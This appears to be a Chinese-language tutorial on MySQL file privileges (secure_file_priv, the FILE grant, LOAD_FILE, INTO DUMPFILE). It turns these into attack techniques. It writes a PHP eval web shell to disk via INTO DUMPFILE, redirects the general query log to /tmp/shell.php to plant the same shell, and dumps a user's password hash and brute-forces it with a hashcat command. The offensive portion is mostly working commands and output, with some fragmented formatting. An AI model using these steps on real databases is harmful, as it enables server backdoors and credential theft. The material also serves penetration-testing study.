该参数用来限制数据导入和导出操作的效果，该值会限制LOAD DATA、SELECT … INTO OUTFILE语句和LOAD_FILE()函数可作用的文件位置(需要file 权限)，在MySQL 5.7.6版本引入。
–secure-file-priv=name Limit LOAD DATA, SELECT … OUTFILE, and LOAD_FILE() to files within specified directory
参数值
说明
NULL
MySQL服务会禁止导入和导出操作
目录名(默认值为/var/lib/mysql-files/)
MySQL服务只允许在这个目录中执行文件的导入和导出操作
空(注意不是NULL)
表示不对读写文件进行限制
1 2 3 4 5 6 7
mysql> show global variables like "%secure_file_priv%"; +------------------+-------+ | Variable_name | Value | +------------------+-------+ | secure_file_priv | | +------------------+-------+ 1 row in set (0.01 sec)
查询语句为
1
show global variables like "%secure_file_priv%";
查看用户权限
1
show grants for new_user@localhost;
添加 file权限给new_user
1 2
grant file on *.* to 'new_user'@'localhost'; flush privileges;
FILE权限是对所有数据库文件而言的，因此数据库只能写成*.*，而不是某一个数据库
需注意secure_file_priv参数为只读参数，不能用set global 命令修改
1 2
mysql> set global secure_file_priv = '' ; ERROR 1238 (HY000): Variable 'secure_file_priv' is a read only variable
需修改配置文件my.cnf或my.ini,并重启mysql.
1
secure_file_priv=
读文件需满足条件
操作文件路径满足secure_file_priv条件
当前数据库用户拥有file的权限
文件大小小于max_allowed_packet。load_file()函数受到这个值的限制。
有文件的完整路径
查看方式:
1 2 3 4 5 6 7
mysql> show global variables like 'max_allowed%'; +--------------------+----------+ | Variable_name | Value | +--------------------+----------+ | max_allowed_packet | 16777216 | +--------------------+----------+ 1 row in set (0.01 sec)
select * from user_info into dumpfile '/tmp/test.txt'; select "<? @eval($_POST['cmd']); ?> " into dumpfile '/tmp/cmd.php';
system
1
system sudo nano /var/www/html/test/cmd.php
利用日志来实现文件读写
查看权限
1 2 3 4 5 6 7 8 9 10
mysql> show global variables like "%genera%"; +----------------------------------------+---------------------------+ | Variable_name | Value | +----------------------------------------+---------------------------+ | auto_generate_certs | ON | | general_log | OFF | | general_log_file | /var/lib/mysql/ubuntu.log | | sha256_password_auto_generate_rsa_keys | ON | +----------------------------------------+---------------------------+ 4 rows in set (0.01 sec)
默认为OFF
设置打开
1 2 3 4 5
mysql> set global general_log='on'; Query OK, 0 rows affected (0.00 sec)
mysql> set global general_log_file='/tmp/shell.php'; Query OK, 0 rows affected (0.00 sec)
1
select ‘<?php @eval($_POST["cmd"]); ?>’;
之后会写到日志文件中
1 2 3 4 5
xz@ubuntu:/tmp$ sudo cat shell.php /usr/sbin/mysqld, Version: 5.7.29-0ubuntu0.18.04.1 ((Ubuntu)). started with: Tcp port: 3306 Unix socket: /var/run/mysqld/mysqld.sock Time Id Command Argument 2020-03-29T13:27:31.893854Z 8 Query select '<?php @eval($_POST["cmd"]); ?>'
hashcat is the world’s fastest and most advanced password recovery utility, supporting five unique modes of attack for over 300 highly-optimized hashing algorithms. hashcat currently supports CPUs, GPUs, and other hardware accelerators on Linux, Windows, and macOS, and has facilities to help enable distributed password cracking.
mysql> select host,user,authentication_string from user where user = "new_user"; +-----------+----------+-------------------------------------------+ | host | user | authentication_string | +-----------+----------+-------------------------------------------+ | localhost | new_user | *2470C0C06DEE42FD1618BB99005ADCA2EC9D1E19 | +-----------+----------+-------------------------------------------+ 1 row in set (0.00 sec)
1
hashcat -a 3 -m 300 --force 2470C0C06DEE42FD1618BB99005ADCA2EC9D1E19 ?d?d?d?d?d?d
可能遇到问题:
* Device #1: This device’s constant buffer size is too small.
* Device #1: This device’s local mem size is too small.
